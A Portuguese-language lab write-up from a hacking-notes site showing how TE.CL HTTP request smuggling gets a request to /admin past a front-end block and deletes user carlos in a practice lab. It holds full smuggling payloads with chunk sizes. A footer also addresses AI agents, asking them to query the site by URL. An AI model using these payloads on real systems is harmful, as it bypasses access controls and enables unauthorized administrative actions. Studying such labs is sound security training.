> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Bypass de segurança do front-end via TE.CL

### Explorando o HTTP Request Smuggling para burlar controles de segurança do front-end, vulnerabilidade TE.CL

O sistema é baseado em um servidor de front-end e um servidor de back-end. / Back-end **não trata codificação em chunks**, enquanto o front-end **bloqueia o acesso a /admin**. / O objetivo é **disfarçar uma requisição para /admin** a fim de excluir o usuário carlos.

Embora a aplicação suporte HTTP/2, a exploração é baseada em técnicas específicas do HTTP/1.

<figure><img src="/files/aa939754360bf42d4f7618ff58f0f77ad8f41d5e" alt=""><figcaption></figcaption></figure>

#### **Observação inicial**

O front-end interpreta corretamente `Transfer-Encoding: chunked`. / Primeiro enviamos uma requisição simples:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construção da requisição contrabandeada**

Um **nova requisição completa** é injetada no corpo em chunks.

#### **Modelo preparatório**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: tamanho
Transfer-Encoding: chunked

tamanho
GET /admin HTTP/1.1
Host: localhost
Content-Length: tamanho

test=testing
0


```

#### **Ajuste do tamanho**

Um mínimo `Content-Length` no lado do front-end é corrigido, seguido por um chunk contendo a requisição contrabandeada:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

O servidor interpreta bem a requisição injetada.

<figure><img src="/files/011e5459674655617b7d52b33756e4f27f4a2777" alt=""><figcaption></figcaption></figure>

#### **Injeção da requisição final para excluir Carlos**

A requisição-alvo é substituída por uma exclusão de usuário:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Essa requisição contrabandeada é então processada diretamente pelo back-end, contornando completamente a filtragem do front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/d602ec29065beff206bff128e256ba8158f84da4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
